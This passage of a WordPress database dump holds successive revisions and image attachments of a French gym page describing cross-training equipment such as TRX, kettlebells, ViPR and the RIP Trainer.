utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:49:30', '2013-06-16 10:49:30', '', 22, 'http://www.crosstrainingcenter.be/?p=61', 0, 'revision', '', 0),
(62, 1, '2013-06-16 10:49:53', '2013-06-16 10:49:53', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;\r\n\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:1px;width: 20%;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:1px;width: 80%;padding:5px;\&quot;&gt;Conçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;  \r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;2&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;3&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; width: 50%; padding: 5px;\&quot;&gt;4&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:49:53', '2013-06-16 10:49:53', '', 22, 'http://www.crosstrainingcenter.be/?p=62', 0, 'revision', '', 0),
(64, 1, '2013-06-16 10:55:17', '2013-06-16 10:55:17', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\ntito&lt;br&gt;\r\ntoto&lt;br&gt;\r\nproute\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:55:17', '2013-06-16 10:55:17', '', 22, 'http://www.crosstrainingcenter.be/?p=64', 0, 'revision', '', 0),
(65, 1, '2013-06-16 10:57:04', '2013-06-16 10:57:04', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\ntito&lt;br&gt;\r\ntoto&lt;br&gt;\r\nproute\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:57:04', '2013-06-16 10:57:04', '', 22, 'http://www.crosstrainingcenter.be/?p=65', 0, 'revision', '', 0),
(66, 1, '2013-06-16 10:59:52', '2013-06-16 10:59:52', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;Conçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;TRX Suspension Training&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;Kettlebel&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;ViPR&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;RIP Trainer&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 10:59:52', '2013-06-16 10:59:52', '', 22, 'http://www.crosstrainingcenter.be/?p=66', 0, 'revision', '', 0),
(67, 1, '2013-06-16 11:03:08', '2013-06-16 11:03:08', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;Conçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;&lt;h1&gt;Kettlebel&lt;/h1&gt;Outil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;&lt;h1&gt;ViPR&lt;/h1&gt;Acronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border:1px;width: 100%\&quot;&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;imgimgimg\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;border:0px;padding:5px;\&quot;&gt;&lt;h1&gt;RIP Trainer&lt;/h1&gt;Le Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:03:08', '2013-06-16 11:03:08', '', 22, 'http://www.crosstrainingcenter.be/?p=67', 0, 'revision', '', 0),
(68, 1, '2013-06-16 11:10:26', '2013-06-16 11:10:26', '', 'trx1', '', 'inherit', 'open', 'open', '', 'trx1', '', '', '2013-06-16 11:10:26', '2013-06-16 11:10:26', '', 22, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg', 0, 'attachment', 'image/jpeg', 0),
(69, 1, '2013-06-16 11:03:19', '2013-06-16 11:03:19', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:03:19', '2013-06-16 11:03:19', '', 22, 'http://www.crosstrainingcenter.be/?p=69', 0, 'revision', '', 0),
(70, 1, '2013-06-16 11:13:51', '2013-06-16 11:13:51', '', 'kb', '', 'inherit', 'open', 'open', '', 'kb', '', '', '2013-06-16 11:13:51', '2013-06-16 11:13:51', '', 22, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg', 0, 'attachment', 'image/jpeg', 0),
(71, 1, '2013-06-16 11:10:48', '2013-06-16 11:10:48', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;imgimgimg&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 11:10:48', '2013-06-16 11:10:48', '', 22, 'http://www.crosstrainingcenter.be/?p=71', 0, 'revision', '', 0),
(72, 1, '2013-06-16 11:19:12', '2013-06-16 11:19:12', '', 'vipr-f1', '', 'inherit', 'open', 'open', '', 'vipr-f1', '', '', '2013-06-16 11:19:12', '2013-06-16 11:19:12', '', 22, 'http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg', 0, 'attachment', 'image/jpeg', 0),
